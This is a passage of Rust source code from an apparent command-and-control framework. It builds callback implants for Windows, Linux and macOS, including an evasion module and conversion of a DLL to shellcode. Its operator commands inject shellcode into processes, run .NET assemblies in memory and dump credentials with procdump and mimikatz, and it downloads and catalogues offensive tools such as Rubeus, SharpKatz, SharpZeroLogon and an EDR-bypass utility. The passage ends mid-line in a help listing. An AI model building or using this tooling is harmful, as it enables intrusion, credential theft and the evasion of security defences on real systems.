93 | generate_help(); 94 | return; 95 | } 96 | // check for dependencies 97 | if !generate_has_dependencies() { 98 | return; 99 | } 100 | // rs files 101 | let main = format!( 102 | "{}", 103 | String::from_utf8_lossy(include_bytes!("../links/windows/src/main.rs")) 104 | ); 105 | let link_lib = format!( 106 | "{}", 107 | String::from_utf8_lossy(include_bytes!("../links/windows/src/lib.rs")) 108 | ); 109 | let stdlib = format!( 110 | "{}", 111 | String::from_utf8_lossy(include_bytes!("../links/windows/src/stdlib.rs")) 112 | ); 113 | let nonstd = format!( 114 | "{}", 115 | String::from_utf8_lossy(include_bytes!("../links/windows/src/nonstd.rs")) 116 | ); 117 | let evasion = format!( 118 | "{}", 119 | String::from_utf8_lossy(include_bytes!("../links/windows/src/evasion.rs")) 120 | ); 121 | let cargo = format!( 122 | "{}", 123 | String::from_utf8_lossy(include_bytes!("../links/windows/Cargo.toml")) 124 | ); 125 | let build = format!( 126 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}", 127 | args[1], 128 | ); 129 | // set up link directory 130 | let home_dir = match std::env::var("HOME") { 131 | Err(e) => { 132 | println!("{}", e); 133 | return; 134 | } 135 | Ok(home) => home, 136 | }; 137 | let prev_dir_path = std::env::current_dir().unwrap(); 138 | let link_dir_path = &format!("{}/.link/links/windows", home_dir); 139 | let link_exec_path = &format!( 140 | "{}/.link/links/windows/target/x86_64-pc-windows-gnu/release/link.exe", 141 | home_dir 142 | ); 143 | let link_dll_path = &format!( 144 | "{}/.link/links/windows/target/x86_64-pc-windows-gnu/release/link.dll", 145 | home_dir 146 | ); 147 | let link_dir_src_path = format!("{}/src", link_dir_path); 148 | let dest_link_path = format!("{}/link.exe", prev_dir_path.display()); 149 | let dest_link_dll_path = format!("{}/link.dll", prev_dir_path.display()); 150 | // check for first build 151 | if fs::metadata(link_dir_path).is_err() { 152 | println!("first link build will take time"); 153 | } 154 | // create directory and change dir 155 | match fs::create_dir_all(link_dir_src_path) { 156 | Err(e) => { 157 | println!("{}", e); 158 | return; 159 | } 160 | Ok(link_dir) => link_dir, 161 | }; 162 | if std::env::set_current_dir(link_dir_path).is_err() { 163 | println!("could not change directory"); 164 | return; 165 | } 166 | // write files to link dir 167 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file"); 168 | output_file 169 | .write_all(main.as_bytes()) 170 | .expect("could not write contents to output file"); 171 | output_file = fs::File::create("./src/lib.rs").expect("could not write file"); 172 | output_file 173 | .write_all(link_lib.as_bytes()) 174 | .expect("could not write contents to output file"); 175 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file"); 176 | output_file 177 | .write_all(stdlib.as_bytes()) 178 | .expect("could not write contents to output file"); 179 | output_file = fs::File::create("./src/nonstd.rs").expect("could not write file"); 180 | output_file 181 | .write_all(nonstd.as_bytes()) 182 | .expect("could not write contents to output file"); 183 | output_file = fs::File::create("./src/evasion.rs").expect("could not write file"); 184 | output_file 185 | .write_all(evasion.as_bytes()) 186 | .expect("could not write contents to output file"); 187 | output_file = fs::File::create("Cargo.toml").expect("could not write file"); 188 | output_file 189 | .write_all(cargo.as_bytes()) 190 | .expect("could not write contents to output file"); 191 | output_file = fs::File::create("build.rs").expect("could not write file"); 192 | output_file 193 | .write_all(build.as_bytes()) 194 | .expect("could not write contents to output file"); 195 | // create link executable 196 | println!("please wait..."); 197 | let output = std::process::Command::new("cargo") 198 | .args(&["build", "--release", "--target", "x86_64-pc-windows-gnu"]) 199 | .env("RUSTFLAGS", "-C link-arg=-s") 200 | .output(); 201 | match output { 202 | Err(e) => println!("{}", e), 203 | Ok(_) => println!("link successfully built"), 204 | } 205 | // return to previous path 206 | if std::env::set_current_dir(prev_dir_path).is_err() { 207 | println!("could not change back to previous directory"); 208 | return; 209 | } 210 | // copy files to current dir 211 | let mut link_copy = fs::copy(link_exec_path, dest_link_path); 212 | match link_copy { 213 | Err(e) => println!("{}", e), 214 | Ok(_) => println!("output: link.exe"), 215 | } 216 | link_copy = fs::copy(link_dll_path, dest_link_dll_path); 217 | match link_copy { 218 | Err(e) => println!("{}", e), 219 | Ok(_) => println!("output: link.dll"), 220 | } 221 | // create shellcode and output to file 222 | let link_shellcode = shellcode::shellcode_rdi("link.dll", "main", "".to_string()); 223 | output_file = fs::File::create("link.bin").expect("could not write file"); 224 | output_file 225 | .write_all(&link_shellcode) 226 | .expect("could not write contents to output file"); 227 | println!("output: link.bin"); 228 | } 229 | 230 | pub fn generate_linux(args: Vec) { 231 | if args.len() == 1 { 232 | generate_help(); 233 | return; 234 | } 235 | // rs files 236 | let main = format!( 237 | "{}", 238 | String::from_utf8_lossy(include_bytes!("../links/linux/src/main.rs")) 239 | ); 240 | let stdlib = format!( 241 | "{}", 242 | String::from_utf8_lossy(include_bytes!("../links/linux/src/stdlib.rs")) 243 | ); 244 | let cargo = format!( 245 | "{}", 246 | String::from_utf8_lossy(include_bytes!("../links/linux/Cargo.toml")) 247 | ); 248 | let build = format!( 249 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}", 250 | args[1], 251 | ); 252 | // set up link directory 253 | let home_dir = match std::env::var("HOME") { 254 | Err(e) => { 255 | println!("{}", e); 256 | return; 257 | } 258 | Ok(home) => home, 259 | }; 260 | let prev_dir_path = std::env::current_dir().unwrap(); 261 | let link_dir_path = &format!("{}/.link/links/linux", home_dir); 262 | let link_exec_path = &format!( 263 | "{}/.link/links/linux/target/x86_64-unknown-linux-musl/release/link", 264 | home_dir 265 | ); 266 | let link_dir_src_path = format!("{}/src", link_dir_path); 267 | let dest_link_path = format!("{}/link", prev_dir_path.display()); 268 | // check for first build 269 | if fs::metadata(link_dir_path).is_err() { 270 | println!("first link build will take time"); 271 | } 272 | // create directory and change dir 273 | match fs::create_dir_all(link_dir_src_path) { 274 | Err(e) => { 275 | println!("{}", e); 276 | return; 277 | } 278 | Ok(link_dir) => link_dir, 279 | }; 280 | if std::env::set_current_dir(link_dir_path).is_err() { 281 | println!("could not change directory"); 282 | return; 283 | } 284 | // write files to link dir 285 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file"); 286 | output_file 287 | .write_all(main.as_bytes()) 288 | .expect("could not write contents to output file"); 289 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file"); 290 | output_file 291 | .write_all(stdlib.as_bytes()) 292 | .expect("could not write contents to output file"); 293 | output_file = fs::File::create("Cargo.toml").expect("could not write file"); 294 | output_file 295 | .write_all(cargo.as_bytes()) 296 | .expect("could not write contents to output file"); 297 | output_file = fs::File::create("build.rs").expect("could not write file"); 298 | output_file 299 | .write_all(build.as_bytes()) 300 | .expect("could not write contents to output file"); 301 | // create link executable 302 | println!("please wait..."); 303 | let output = std::process::Command::new("cargo") 304 | .args(&[ 305 | "build", 306 | "--release", 307 | "--target", 308 | "x86_64-unknown-linux-musl", 309 | ]) 310 | .env("RUSTFLAGS", "-C link-arg=-s") 311 | .output(); 312 | match output { 313 | Err(e) => println!("{}", e), 314 | Ok(_) => println!("link successfully built"), 315 | } 316 | // return to previous path 317 | if std::env::set_current_dir(prev_dir_path).is_err() { 318 | println!("could not change back to previous directory"); 319 | return; 320 | } 321 | // copy files to current dir 322 | let link_copy = fs::copy(link_exec_path, dest_link_path); 323 | match link_copy { 324 | Err(e) => println!("{}", e), 325 | Ok(_) => println!("output: link"), 326 | } 327 | } 328 | 329 | pub fn build_osx_sdk() { 330 | if !git_exists() { 331 | println!("could not download osxcross"); 332 | return; 333 | } 334 | let home_dir = match std::env::var("HOME") { 335 | Err(e) => { 336 | println!("{}", e); 337 | return; 338 | } 339 | Ok(home) => home, 340 | }; 341 | let prev_dir_path = std::env::current_dir().unwrap(); 342 | let link_third_party_path = &format!("{}/.link/3rdparty", home_dir); 343 | // create directory and change dir 344 | match fs::create_dir_all(link_third_party_path) { 345 | Err(e) => { 346 | println!("{}", e); 347 | return; 348 | } 349 | Ok(link_dir) => link_dir, 350 | }; 351 | if std::env::set_current_dir(link_third_party_path).is_err() { 352 | println!("could not change directory"); 353 | return; 354 | } 355 | // clone and build osxcross 356 | let output = std::process::Command::new("git") 357 | .args(&["clone", "https://github.com/tpoechtrager/osxcross"]) 358 | .output(); 359 | match output { 360 | Err(e) => println!("{}", e), 361 | Ok(_) => println!("osxcross cloned"), 362 | } 363 | if std::env::set_current_dir("./osxcross/tarballs").is_err() { 364 | println!("could not change directory"); 365 | return; 366 | } 367 | let output = std::process::Command::new("wget") 368 | .args(&["https://s3.dockerproject.org/darwin/v2/MacOSX10.11.sdk.tar.xz"]) 369 | .output(); 370 | match output { 371 | Err(e) => println!("{}", e), 372 | Ok(_) => println!("OSX 10.11 SDK downloaded"), 373 | } 374 | if std::env::set_current_dir("..").is_err() { 375 | println!("could not change directory"); 376 | return; 377 | } 378 | let output = std::process::Command::new("sed") 379 | .args(&[ 380 | "-i", 381 | "-e", 382 | "'s|-march=native||g'", 383 | "build_clang.sh", 384 | "wrapper/build_wrapper.sh", 385 | ]) 386 | .output(); 387 | match output { 388 | Err(e) => println!("{}", e), 389 | Ok(_) => println!("updated clang build"), 390 | } 391 | println!("building osxcross... this will take a while"); 392 | let output = std::process::Command::new("./build.sh") 393 | .env("UNATTENDED", "yes") 394 | .env("OSX_VERSION_MIN", "10.7") 395 | .output(); 396 | match output { 397 | Err(e) => println!("{}", e), 398 | Ok(_) => println!("osxcross built"), 399 | } 400 | // return to previous path 401 | if std::env::set_current_dir(prev_dir_path).is_err() { 402 | println!("could not change back to previous directory"); 403 | } 404 | } 405 | 406 | pub fn generate_osx(args: Vec) { 407 | if args.len() == 1 { 408 | generate_help(); 409 | return; 410 | } 411 | // rs files 412 | let main = format!( 413 | "{}", 414 | String::from_utf8_lossy(include_bytes!("../links/osx/src/main.rs")) 415 | ); 416 | let stdlib = format!( 417 | "{}", 418 | String::from_utf8_lossy(include_bytes!("../links/osx/src/stdlib.rs")) 419 | ); 420 | let cargo = format!( 421 | "{}", 422 | String::from_utf8_lossy(include_bytes!("../links/osx/Cargo.toml")) 423 | ); 424 | let build = format!( 425 | "fn main(){{println!(\"cargo:rustc-env=CALLBACK={}\");}}", 426 | args[1], 427 | ); 428 | // set up link directory 429 | let home_dir = match std::env::var("HOME") { 430 | Err(e) => { 431 | println!("{}", e); 432 | return; 433 | } 434 | Ok(home) => home, 435 | }; 436 | let prev_dir_path = std::env::current_dir().unwrap(); 437 | let link_third_party_path = &format!("{}/.link/3rdparty", home_dir); 438 | let osx_clang_path = &format!( 439 | "{}/osxcross/target/bin/x86_64-apple-darwin15-clang", 440 | link_third_party_path 441 | ); 442 | let osx_ar_path = &format!( 443 | "{}/osxcross/target/bin/x86_64-apple-darwin15-ar", 444 | link_third_party_path 445 | ); 446 | let link_dir_path = &format!("{}/.link/links/osx", home_dir); 447 | let link_exec_path = &format!( 448 | "{}/.link/links/osx/target/x86_64-apple-darwin/release/link", 449 | home_dir 450 | ); 451 | let link_dir_src_path = format!("{}/src", link_dir_path); 452 | let dest_link_path = format!("{}/link", prev_dir_path.display()); 453 | // check for first build 454 | if fs::metadata(link_dir_path).is_err() { 455 | println!("first osx link build will take time"); 456 | println!("building osx cross compilation dependencies"); 457 | build_osx_sdk(); 458 | } 459 | // create directory and change dir 460 | match fs::create_dir_all(link_dir_src_path) { 461 | Err(e) => { 462 | println!("{}", e); 463 | return; 464 | } 465 | Ok(link_dir) => link_dir, 466 | }; 467 | if std::env::set_current_dir(link_dir_path).is_err() { 468 | println!("could not change directory"); 469 | return; 470 | } 471 | // write files to link dir 472 | let mut output_file = fs::File::create("./src/main.rs").expect("could not write file"); 473 | output_file 474 | .write_all(main.as_bytes()) 475 | .expect("could not write contents to output file"); 476 | output_file = fs::File::create("./src/stdlib.rs").expect("could not write file"); 477 | output_file 478 | .write_all(stdlib.as_bytes()) 479 | .expect("could not write contents to output file"); 480 | output_file = fs::File::create("Cargo.toml").expect("could not write file"); 481 | output_file 482 | .write_all(cargo.as_bytes()) 483 | .expect("could not write contents to output file"); 484 | output_file = fs::File::create("build.rs").expect("could not write file"); 485 | output_file 486 | .write_all(build.as_bytes()) 487 | .expect("could not write contents to output file"); 488 | // create link executable 489 | println!("please wait..."); 490 | let output = std::process::Command::new("cargo") 491 | .args(&["build", "--release", "--target", "x86_64-apple-darwin"]) 492 | .env("RUSTFLAGS", "-C link-arg=-s") 493 | .env("TARGET_CC", osx_clang_path) 494 | .env("TARGET_AR", osx_ar_path) 495 | .output(); 496 | match output { 497 | Err(e) => println!("{}", e), 498 | Ok(_) => println!("link successfully built"), 499 | } 500 | // return to previous path 501 | if std::env::set_current_dir(prev_dir_path).is_err() { 502 | println!("could not change back to previous directory"); 503 | return; 504 | } 505 | // copy files to current dir 506 | let link_copy = fs::copy(link_exec_path, dest_link_path); 507 | match link_copy { 508 | Err(e) => println!("{}", e), 509 | Ok(_) => println!("output: link"), 510 | } 511 | } 512 | -------------------------------------------------------------------------------- /src/util/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod cli; 2 | pub mod donut; 3 | pub mod generate; 4 | pub mod nonstd; 5 | pub mod sharp; 6 | pub mod shellcode; 7 | -------------------------------------------------------------------------------- /src/util/nonstd.rs: -------------------------------------------------------------------------------- 1 | use actix_web::web; 2 | use server::links::Links; 3 | 4 | // internal packages 5 | use crate::server; 6 | use crate::util; 7 | 8 | pub fn link_inject(links: web::Data, link_index: usize, command: Vec) { 9 | if command.len() < 2 { 10 | println!("link-inject \n eg: link-inject 1307"); 11 | return; 12 | } 13 | if std::fs::metadata("./link.bin").is_err() { 14 | println!("generate links first"); 15 | println!("there must be link.bin in the current directory"); 16 | return; 17 | } 18 | let shellcode = match std::fs::read("link.bin") { 19 | Err(e) => { 20 | println!("{}", e); 21 | return; 22 | } 23 | Ok(shellcode) => shellcode, 24 | }; 25 | let shellcode_b64 = base64::encode(shellcode); 26 | let mut updated_command = command.clone(); 27 | updated_command[0] = "inject".to_string(); 28 | updated_command.push(shellcode_b64); 29 | links.links.lock().unwrap()[link_index] 30 | .set_command(updated_command.join(" "), command.join(" ")); 31 | } 32 | 33 | pub fn process_inject(links: web::Data, link_index: usize, command: Vec) { 34 | if command.len() < 3 { 35 | println!("inject \n eg: inject 1307 /tmp/shellcode.bin"); 36 | return; 37 | } 38 | let shellcode = match std::fs::read(command[2].clone()) { 39 | Err(e) => { 40 | println!("{}", e); 41 | return; 42 | } 43 | Ok(shellcode) => shellcode, 44 | }; 45 | let shellcode_b64 = base64::encode(shellcode); 46 | let mut updated_command = command.clone(); 47 | updated_command[2] = shellcode_b64; 48 | links.links.lock().unwrap()[link_index] 49 | .set_command(updated_command.join(" "), command.join(" ")); 50 | } 51 | 52 | pub fn execute_shellcode(links: web::Data, link_index: usize, command: Vec) { 53 | if command.len() < 3 { 54 | println!("execute-shellcode \n eg: execute-shellcode svchost /tmp/shellcode.bin"); 55 | return; 56 | } 57 | let shellcode = match std::fs::read(command[2].clone()) { 58 | Err(e) => { 59 | println!("{}", e); 60 | return; 61 | } 62 | Ok(shellcode) => shellcode, 63 | }; 64 | let shellcode_b64 = base64::encode(shellcode); 65 | let mut updated_command = command.clone(); 66 | updated_command[2] = shellcode_b64; 67 | links.links.lock().unwrap()[link_index] 68 | .set_command(updated_command.join(" "), command.join(" ")); 69 | } 70 | 71 | pub fn execute_assembly(links: web::Data, link_index: usize, mut command: Vec) { 72 | if command.len() < 3 { 73 | println!("execute-assembly \n eg: execute-assembly svchost SharpKatz.exe -h"); 74 | return; 75 | } 76 | // check for SharpCollection 77 | let mut sharpcollection_tool = String::new(); 78 | if command[0] == *"sharp" { 79 | sharpcollection_tool = command[2].clone(); 80 | let tool_path = util::sharp::get_sharp_path(command[2].clone()); 81 | if tool_path.is_empty() { 82 | println!("could not find tool, at the main menu the following command may help:"); 83 | println!("sharp init"); 84 | return; 85 | } 86 | command[2] = tool_path; 87 | } 88 | let parameters: Vec; 89 | if command.len() > 3 { 90 | parameters = command.clone().split_off(3); 91 | } else { 92 | parameters = Vec::new(); 93 | } 94 | let shellcode_b64 = match util::donut::create_shellcode(command[2].clone(), parameters) { 95 | Some(b64) => b64, 96 | None => { 97 | println!("Could not generate shellcode"); 98 | return; 99 | }, 100 | }; 101 | // update original command if SharpCollection 102 | if !sharpcollection_tool.is_empty() { 103 | command[2] = sharpcollection_tool; 104 | } 105 | let updated_command = vec![ 106 | "execute-shellcode".to_string(), 107 | command[1].clone(), 108 | shellcode_b64 109 | ]; 110 | links.links.lock().unwrap()[link_index] 111 | .set_command(updated_command.join(" "), command.join(" ")); 112 | } 113 | 114 | pub fn execute_pe(links: web::Data, link_index: usize, command: Vec) { 115 | if command.len() < 3 { 116 | println!("execute-pe \n eg: execute-pe svchost whoami.exe"); 117 | return; 118 | } 119 | let parameters: Vec; 120 | if command.len() > 3 { 121 | parameters = command.clone().split_off(3); 122 | } else { 123 | parameters = Vec::new(); 124 | } 125 | let shellcode_b64 = match util::donut::create_shellcode(command[2].clone(), parameters) { 126 | Some(b64) => b64, 127 | None => { 128 | println!("Could not generate shellcode"); 129 | return; 130 | }, 131 | }; 132 | let updated_command = vec![ 133 | "execute-shellcode".to_string(), 134 | command[1].clone(), 135 | shellcode_b64 136 | ]; 137 | links.links.lock().unwrap()[link_index] 138 | .set_command(updated_command.join(" "), command.join(" ")); 139 | } 140 | 141 | pub fn procdump(links: web::Data, link_index: usize, command: Vec) { 142 | if command.len() < 2 { 143 | println!("procpdump \n eg: procdump 1473"); 144 | return; 145 | } 146 | let mut updated_command = command.clone(); 147 | if command[0] == "mimikatz".to_string() { 148 | updated_command[0] = "procdump".to_string(); 149 | } 150 | updated_command[1] = command[1].clone(); 151 | links.links.lock().unwrap()[link_index] 152 | .set_command(updated_command.join(" "), command.join(" ")); 153 | } 154 | 155 | pub fn mimikatz(links: web::Data, link_index: usize, command: Vec) { 156 | if command.len() > 1 { 157 | println!("mimikatz\n eg: mimikatz"); 158 | return; 159 | } 160 | let updated_command = vec!["mimikatz".to_string(), "0".to_string()]; 161 | procdump(links, link_index, updated_command); 162 | } 163 | -------------------------------------------------------------------------------- /src/util/sharp.rs: -------------------------------------------------------------------------------- 1 | use actix_web::web; 2 | use server::links::Links; 3 | use std::fs; 4 | 5 | // internal packages 6 | use crate::server; 7 | use crate::util; 8 | 9 | pub fn sharp_link(links: web::Data, link_index: usize, command: Vec) { 10 | if command.len() < 3 { 11 | sharp_link_help(); 12 | return; 13 | } 14 | util::nonstd::execute_assembly(links, link_index, command); 15 | } 16 | 17 | pub fn get_sharp_path(tool: String) -> String { 18 | let mut sharp_collection = std::collections::HashMap::new(); 19 | let home_dir = match std::env::var("HOME") { 20 | Err(e) => { 21 | println!("{}", e); 22 | return "".to_string(); 23 | } 24 | Ok(home) => home, 25 | }; 26 | let sharpcollection_path = format!("{}/.link/3rdparty/SharpCollection", home_dir); 27 | let net40_path = format!("{}/NetFramework_4.0_x64", sharpcollection_path); 28 | let net45_path = format!("{}/NetFramework_4.5_x64", sharpcollection_path); 29 | let net47_path = format!("{}/NetFramework_4.7_x64", sharpcollection_path); 30 | sharp_collection.insert("AD", format!("{}/{}.exe", net40_path, tool)); 31 | sharp_collection.insert("ADCollector", format!("{}/{}.exe", net40_path, tool)); 32 | sharp_collection.insert("ADSearch", format!("{}/{}.exe", net47_path, tool)); 33 | sharp_collection.insert("AtYourService", format!("{}/{}.exe", net40_path, tool)); 34 | sharp_collection.insert("BetterSafetyKatz", format!("{}/{}.exe", net40_path, tool)); 35 | sharp_collection.insert("Grouper2", format!("{}/{}.exe", net40_path, tool)); 36 | sharp_collection.insert("InveighZero", format!("{}/{}.exe", net40_path, tool)); 37 | sharp_collection.insert("LockLess", format!("{}/{}.exe", net40_path, tool)); 38 | sharp_collection.insert("PurpleSharp", format!("{}/{}.exe", net45_path, tool)); 39 | sharp_collection.insert("Rubeus", format!("{}/{}.exe", net40_path, tool)); 40 | sharp_collection.insert("SafetyKatz", format!("{}/{}.exe", net40_path, tool)); 41 | sharp_collection.insert("SauronEye", format!("{}/{}.exe", net47_path, tool)); 42 | sharp_collection.insert("scout", format!("{}/{}.exe", net40_path, tool)); 43 | sharp_collection.insert("SearchOutlook", format!("{}/{}.exe", net40_path, tool)); 44 | sharp_collection.insert("Seatbelt", format!("{}/{}.exe", net40_path, tool)); 45 | sharp_collection.insert("SharpAllowedToAct", format!("{}/{}.exe", net40_path, tool)); 46 | sharp_collection.insert("SharpAppLocker", format!("{}/{}.exe", net45_path, tool)); 47 | sharp_collection.insert("SharpBlock", format!("{}/{}.exe", net40_path, tool)); 48 | sharp_collection.insert("SharpChisel", format!("{}/{}.exe", net40_path, tool)); 49 | sharp_collection.insert("SharpChrome", format!("{}/{}.exe", net40_path, tool)); 50 | sharp_collection.insert("SharpChromium", format!("{}/{}.exe", net40_path, tool)); 51 | sharp_collection.insert("SharpCloud", format!("{}/{}.exe", net40_path, tool)); 52 | sharp_collection.insert("SharpCrashEventLog", format!("{}/{}.exe", net40_path, tool)); 53 | sharp_collection.insert("SharpDir", format!("{}/{}.exe", net40_path, tool)); 54 | sharp_collection.insert("SharpDoor", format!("{}/{}.exe", net40_path, tool)); 55 | sharp_collection.insert("SharpDPAPI", format!("{}/{}.exe", net40_path, tool)); 56 | sharp_collection.insert("SharpDump", format!("{}/{}.exe", net40_path, tool)); 57 | sharp_collection.insert("sharpfiles", format!("{}/{}.exe", net40_path, tool)); 58 | sharp_collection.insert("SharpGPOAbuse", format!("{}/{}.exe", net40_path, tool)); 59 | sharp_collection.insert("SharpHandler", format!("{}/{}.exe", net40_path, tool)); 60 | sharp_collection.insert("SharpHose", format!("{}/{}.exe", net45_path, tool)); 61 | sharp_collection.insert("SharpHound3", format!("{}/{}.exe", net40_path, tool)); 62 | sharp_collection.insert("SharpKatz", format!("{}/{}.exe", net40_path, tool)); 63 | sharp_collection.insert("SharpLAPS", format!("{}/{}.exe", net40_path, tool)); 64 | sharp_collection.insert("SharpMapExec", format!("{}/{}.exe", net40_path, tool)); 65 | sharp_collection.insert("SharpMiniDump", format!("{}/{}.exe", net40_path, tool)); 66 | sharp_collection.insert("SharpMove", format!("{}/{}.exe", net40_path, tool)); 67 | sharp_collection.insert("SharpRDP", format!("{}/{}.exe", net45_path, tool)); 68 | sharp_collection.insert("SharpReg", format!("{}/{}.exe", net40_path, tool)); 69 | sharp_collection.insert("SharpSecDump", format!("{}/{}.exe", net40_path, tool)); 70 | sharp_collection.insert("SharpShares", format!("{}/{}.exe", net40_path, tool)); 71 | sharp_collection.insert("Sharp-SMBExec", format!("{}/{}.exe", net40_path, tool)); 72 | sharp_collection.insert("SharpSphere", format!("{}/{}.exe", net45_path, tool)); 73 | sharp_collection.insert("SharpSpray", format!("{}/{}.exe", net40_path, tool)); 74 | sharp_collection.insert("SharpStay", format!("{}/{}.exe", net40_path, tool)); 75 | sharp_collection.insert("SharpSvc", format!("{}/{}.exe", net47_path, tool)); 76 | sharp_collection.insert("SharpTask", format!("{}/{}.exe", net40_path, tool)); 77 | sharp_collection.insert("SharpUp", format!("{}/{}.exe", net40_path, tool)); 78 | sharp_collection.insert("SharpView", format!("{}/{}.exe", net45_path, tool)); 79 | sharp_collection.insert("SharpWMI", format!("{}/{}.exe", net40_path, tool)); 80 | sharp_collection.insert("SharpZeroLogon", format!("{}/{}.exe", net40_path, tool)); 81 | sharp_collection.insert("Shhmon", format!("{}/{}.exe", net40_path, tool)); 82 | sharp_collection.insert("Snaffler", format!("{}/{}.exe", net40_path, tool)); 83 | sharp_collection.insert("SqlClient", format!("{}/{}.exe", net40_path, tool)); 84 | sharp_collection.insert("StandIn", format!("{}/{}.exe", net40_path, tool)); 85 | sharp_collection.insert("StickyNotesExtract", format!("{}/{}.exe", net40_path, tool)); 86 | sharp_collection.insert("SweetPotato", format!("{}/{}.exe", net45_path, tool)); 87 | sharp_collection.insert("ThunderFox", format!("{}/{}.exe", net40_path, tool)); 88 | sharp_collection.insert("TruffleSnout", format!("{}/{}.exe", net45_path, tool)); 89 | sharp_collection.insert("Watson", format!("{}/{}.exe", net40_path, tool)); 90 | sharp_collection.insert("winPEAS", format!("{}/{}.exe", net40_path, tool)); 91 | sharp_collection.insert("WMIReg", format!("{}/{}.exe", net40_path, tool)); 92 | // check if path exists 93 | let full_path = match sharp_collection.get(tool.as_str()) { 94 | Some(full_path) => full_path.to_string(), 95 | None => return "".to_string(), 96 | }; 97 | if fs::metadata(full_path.clone()).is_err() { 98 | return "".to_string(); 99 | } 100 | full_path 101 | } 102 | 103 | pub fn create_link_dir() { 104 | let home_dir = match std::env::var("HOME") { 105 | Err(e) => { 106 | println!("{}", e); 107 | return; 108 | } 109 | Ok(home) => home, 110 | }; 111 | let link_dir = format!("{}/.link", home_dir); 112 | if fs::metadata(link_dir.as_str()).is_ok() { 113 | return; 114 | } 115 | match fs::create_dir_all(link_dir.as_str()) { 116 | Err(e) => { 117 | println!("{}", e); 118 | } 119 | Ok(home) => home, 120 | } 121 | } 122 | pub fn git_exists() -> bool { 123 | if std::process::Command::new("git") 124 | .stdout(std::process::Stdio::null()) 125 | .stderr(std::process::Stdio::null()) 126 | .spawn() 127 | .is_err() 128 | { 129 | println!("git not installed"); 130 | return false; 131 | } 132 | true 133 | } 134 | 135 | fn update_sharpcollection() { 136 | if !git_exists() { 137 | println!("could not download SharpCollection"); 138 | return; 139 | } 140 | let home_dir = match std::env::var("HOME") { 141 | Err(e) => { 142 | println!("{}", e); 143 | return; 144 | } 145 | Ok(home) => home, 146 | }; 147 | let link_path = format!("{}/.link", home_dir); 148 | let sharpcollection_path = format!("{}/3rdparty/SharpCollection", link_path); 149 | let prev_dir_path = std::env::current_dir().unwrap(); 150 | if std::env::set_current_dir(sharpcollection_path).is_err() { 151 | println!("could not change directory"); 152 | return; 153 | } 154 | println!("updating SharpCollection"); 155 | let output = std::process::Command::new("git").args(&["pull"]).output(); 156 | match output { 157 | Err(_) => println!("could not update"), 158 | Ok(_) => println!("updated"), 159 | } 160 | // return to previous path 161 | if std::env::set_current_dir(prev_dir_path).is_err() { 162 | println!("could not change back to previous directory"); 163 | } 164 | } 165 | 166 | fn download_sharpcollection() { 167 | if !git_exists() { 168 | println!("could not download SharpCollection"); 169 | return; 170 | } 171 | let home_dir = match std::env::var("HOME") { 172 | Err(e) => { 173 | println!("{}", e); 174 | return; 175 | } 176 | Ok(home) => home, 177 | }; 178 | let link_path = format!("{}/.link", home_dir); 179 | let third_party_path = format!("{}/3rdparty", link_path); 180 | let sharpcollection_path = format!("{}/3rdparty/SharpCollection", link_path); 181 | if fs::metadata(sharpcollection_path.as_str()).is_ok() { 182 | update_sharpcollection(); 183 | return; 184 | } 185 | match fs::create_dir_all(third_party_path.as_str()) { 186 | Err(e) => { 187 | println!("{}", e); 188 | } 189 | Ok(third) => third, 190 | } 191 | let prev_dir_path = std::env::current_dir().unwrap(); 192 | if std::env::set_current_dir(third_party_path).is_err() { 193 | println!("could not change directory"); 194 | return; 195 | } 196 | println!("downloading SharpCollection"); 197 | let _ = std::process::Command::new("git") 198 | .args(&["clone", "https://github.com/Flangvik/SharpCollection"]) 199 | .output(); 200 | if fs::metadata(sharpcollection_path.as_str()).is_ok() { 201 | println!("downloaded"); 202 | } 203 | // return to previous path 204 | if std::env::set_current_dir(prev_dir_path).is_err() { 205 | println!("could not change back to previous directory"); 206 | } 207 | } 208 | 209 | pub fn sharpcollection_manage(command: Vec) { 210 | if command.len() < 2 { 211 | sharp_help(); 212 | return; 213 | } 214 | if command[1] == *"init" { 215 | download_sharpcollection(); 216 | return; 217 | } 218 | sharp_help(); 219 | } 220 | 221 | fn sharp_help() { 222 | println!("sharp"); 223 | println!(" sharp init download/update SharpCollection tools"); 224 | } 225 | 226 | pub fn sharp_link_help() { 227 | println!("sharp commands:"); 228 | println!(" sharp ADCollector C# tool to quickly extract valuable information from the Active Directory environment @dev-2null"); 229 | println!(" sharp ADSearch C# tool to help query AD via the LDAP protocol @tomcarver16 (Only NET 4.7)"); 230 | println!( 231 | " sharp AtYourService C# .NET Assembly for Service Enumeration @mitchmoser" 232 | ); 233 | println!(" sharp BetterSafetyKatz Fork of SafetyKatz dynamically fetches the latest Mimikatz, runtime patching signatures and PE loads Mimikatz into memory. @Flangvik"); 234 | println!(" sharp Grouper2 C# tool to help find security-related misconfigurations in Active Directory Group Policy. @mikeloss"); 235 | println!(" sharp InveighZero Windows C# LLMNR/mDNS/NBNS/DNS/DHCPv6 spoofer/man-in-the-middle tool . @Kevin-Robertson"); 236 | println!( 237 | " sharp LockLess Allows for the copying of locked files. @GhostPack" 238 | ); 239 | println!(" sharp PurpleSharp C# adversary simulation tool that executes adversary techniques with the purpose of generating attack telemetry in monitored Windows environments. @mvelazc0"); 240 | println!(" sharp Rubeus C# toolset for raw Kerberos interaction and abuses. @GhostPack"); 241 | println!(" sharp SafetyKatz Combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. @GhostPack"); 242 | println!(" sharp SauronEye C# search tool find specific files containing specific keywords (.doc, .docx, .xls, .xlsx). @_vivami"); 243 | println!(" sharp scout A .NET assembly for performing recon against hosts on a network . @jaredhaight"); 244 | println!(" sharp SearchOutlook C# tool to search through a running instance of Outlook for keywords @RedLectroid"); 245 | println!(" sharp Seatbelt Performs a number of security oriented host-survey \"safety checks\". @GhostPack"); 246 | println!(" sharp SharpAllowedToAct C# implementation of a computer object takeover through Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity) @pkb1s @leechristensen"); 247 | println!(" sharp SharpAppLocker C# port of the Get-AppLockerPolicy PS cmdlet with extended features @Flangvik"); 248 | println!(" sharp SharpBlock A method of bypassing EDR's active projection DLL's by preventing entry point exection. @CCob"); 249 | println!(" sharp SharpChisel C# Chisel 